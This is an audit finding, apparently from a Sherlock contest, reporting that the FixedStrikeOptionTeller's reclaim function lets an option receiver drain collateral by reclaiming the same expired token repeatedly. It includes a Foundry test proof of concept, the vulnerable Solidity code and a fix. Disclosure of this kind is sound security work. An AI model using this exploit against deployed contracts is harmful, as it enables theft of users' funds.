berndartmueller

high

# Option token receiver can steal funds by repeatedly reclaiming expired options

## Summary

Reclaimed option tokens are not burned, thus allowing the option receiver to repeatedly call the `reclaim` function and steal payout and quote tokens from the `FixedStrikeOptionTeller` contract.

## Vulnerability Detail

The `receiver` address of an option token can reclaim the collateral from expired option tokens by calling the `reclaim` function in the `FixedStrikeOptionTeller` contract. This function determines the amount of collateral to be reclaimed, either in `payoutToken` or `quoteToken`, based on the total supply of the option token and transfers the tokens to the `receiver` address.

However, those option tokens are not burned, thus allowing the `receiver` address to repeatedly call the `reclaim` function, steal payout, and quote token funds from the `FixedStrikeOptionTeller` contract.

For instance, an attacker could deploy a new option token with the same quote token as other already deployed option tokens (e.g., USDC) and create (issue) put options by supplying the necessary quote token collateral. Additionally, the option token could be short-lived to ensure timely expiry. As soon as the option token expires, the attacker can repeatedly call the `reclaim` function and steal the quote token collateral from the `FixedStrikeOptionTeller` contract.

**Test case:**

The following test case demonstrates how Alice is able to repeatedly call the `reclaim` function and steal quote token collateral.

```diff
diff --git a/options/test/FixedStrikeOption.t.sol b/options/test/FixedStrikeOption.t.sol
index 8205544..5eda1b5 100644
--- a/options/test/FixedStrikeOption.t.sol
+++ b/options/test/FixedStrikeOption.t.sol
@@ -1571,6 +1571,69 @@ contract FixedStrikeOptionTest is Test {
         assertEq(optionToken.balanceOf(bob), amount);
     }

+    function test_reclaim_repeatedly_put() public {
+        // Deploy call option token
+        uint256 strikePrice = 5 * 10 ** def.decimals();
+        FixedStrikeOptionToken optionToken = teller.deploy(
+            abc, // ERC20 payoutToken
+            def, // ERC20 quoteToken
+            uint48(0), // uint48 eligible (timestamp) - today
+            uint48(block.timestamp + 8 days), // uint48 expiry (timestamp) - 20220109
+            alice, // address receiver
+            false, // bool call (true) or put (false)
+            strikePrice // uint256 strikePrice
+        );
+
+        uint256 strikePrice2 = 5 * 10 ** def.decimals();
+        FixedStrikeOptionToken optionToken2 = teller.deploy(
+            abc, // ERC20 payoutToken
+            def, // ERC20 quoteToken
+            uint48(0), // uint48 eligible (timestamp) - today
+            uint48(block.timestamp + 8 days), // uint48 expiry (timestamp) - 20220109
+            bob, // address receiver
+            false, // bool call (true) or put (false)
+            strikePrice2 // uint256 strikePrice
+        );
+
+        // Mint option tokens by depositing collateral (quote tokens)
+        uint256 amount = 100 * 10 ** abc.decimals();
+        vm.prank(alice);
+        teller.create(optionToken, amount);
+
+        // Mint option 2 tokens by depositing collateral (quote tokens)
+        uint256 amount2 = 100 * 10 ** abc.decimals();
+        vm.prank(bob);
+        teller.create(optionToken2, amount2);
+
+        // Send the option tokens to another user (receiver doesn't need to hold)
+        vm.prank(alice);
+        optionToken.transfer(bob, amount);
+
+        vm.prank(bob);
+        optionToken2.transfer(carol, amount2);
+
+        // Warp forward past expiry
+        vm.warp(block.timestamp + 9 days);
+
+        // Reclaim collateral as receiver
+        uint256 receiveAmount = (amount * strikePrice) / 10 ** abc.decimals();
+        uint256 aliceQuoteStart = def.balanceOf(alice);
+        uint256 tellerQuoteStart = def.balanceOf(address(teller));
+
+        vm.prank(alice);
+        teller.reclaim(optionToken);
+        vm.prank(alice);
+        teller.reclaim(optionToken); // @audit-info Alice is able to reclaim multiple times
+
+        // Check that balance updates are correct
+        // - Alice receives the receiveAmount of quoteTokens.
+        // - Teller pays out the receiveAmount of quoteTokens.
+        assertEq(def.balanceOf(alice), aliceQuoteStart + (receiveAmount * 2)); // @audit-info Alice receives double the amount of quote tokens
+        // assertEq(def.balanceOf(address(teller)), tellerQuoteStart - receiveAmount);
+        // Note: option tokens are not burned on a reclaim, they just remain in place since they are expired
+        assertEq(optionToken2.balanceOf(carol), amount);
+    }
+
     function test_reclaim_put() public {
         // Deploy call option token
         uint256 strikePrice = 5 * 10 ** def.decimals();
```

**How to run this test case:**

Save git diff to a file named `test_reclaim_repeatedly_put.patch` and run with

```bash
git apply test_reclaim_repeatedly_put.patch
forge test -vv --match-test "test_reclaim_repeatedly_put"
```

## Impact

Payout and quote tokens, utilized by other deployed option tokens, can be stolen from the `FixedStrikeOptionTeller` contract.

## Code Snippet

[src/fixed-strike/FixedStrikeOptionTeller.reclaim](https://github.com/sherlock-audit/2023-06-bond/blob/main/options/src/fixed-strike/FixedStrikeOptionTeller.sol#L395-L437)

```solidity
395: function reclaim(FixedStrikeOptionToken optionToken_) external override nonReentrant {
396:     // Load option parameters
397:     (
398:         ERC20 payoutToken,
399:         ERC20 quoteToken,
400:         uint48 eligible,
401:         uint48 expiry,
402:         address receiver,
403:         bool call,
404:         uint256 strikePrice
405:     ) = optionToken_.getOptionParameters();
406:
407:     // Retrieve the internally stored option token with this configuration
408:     // Reverts internally if token doesn't exist
409:     FixedStrikeOptionToken optionToken = getOptionToken(
410:         payoutToken,
411:         quoteToken,
412:         eligible,
413:         expiry,
414:         receiver,
415:         call,
416:         strikePrice
417:     );
418:
419:     // Revert if token does not match stored token
420:     if (optionToken_ != optionToken) revert Teller_UnsupportedToken(address(optionToken_));
421:
422:     // Revert if not expired
423:     if (uint48(block.timestamp) < expiry) revert Teller_NotExpired(expiry);
424:
425:     // Revert if caller is not receiver
426:     if (msg.sender != receiver) revert Teller_NotAuthorized();
427:
428:     // Transfer remaining collateral to receiver
429:     uint256 amount = optionToken.totalSupply();
430:     if (call) {
431:         payoutToken.safeTransfer(receiver, amount);
432:     } else {
433:         // Calculate amount of quote tokens equivalent to amount at strike price
434:         uint256 quoteAmount = amount.mulDiv(strikePrice, 10 ** payoutToken.decimals());
435:         quoteToken.safeTransfer(receiver, quoteAmount);
436:     }
437: }
```

## Tool used

Manual Review

## Recommendation

Consider preventing the `reclaim` function from being called multiple times for the same expired option token. E.g., by keeping track of the reclaimed option tokens in a mapping and reverting if the option token was already reclaimed.
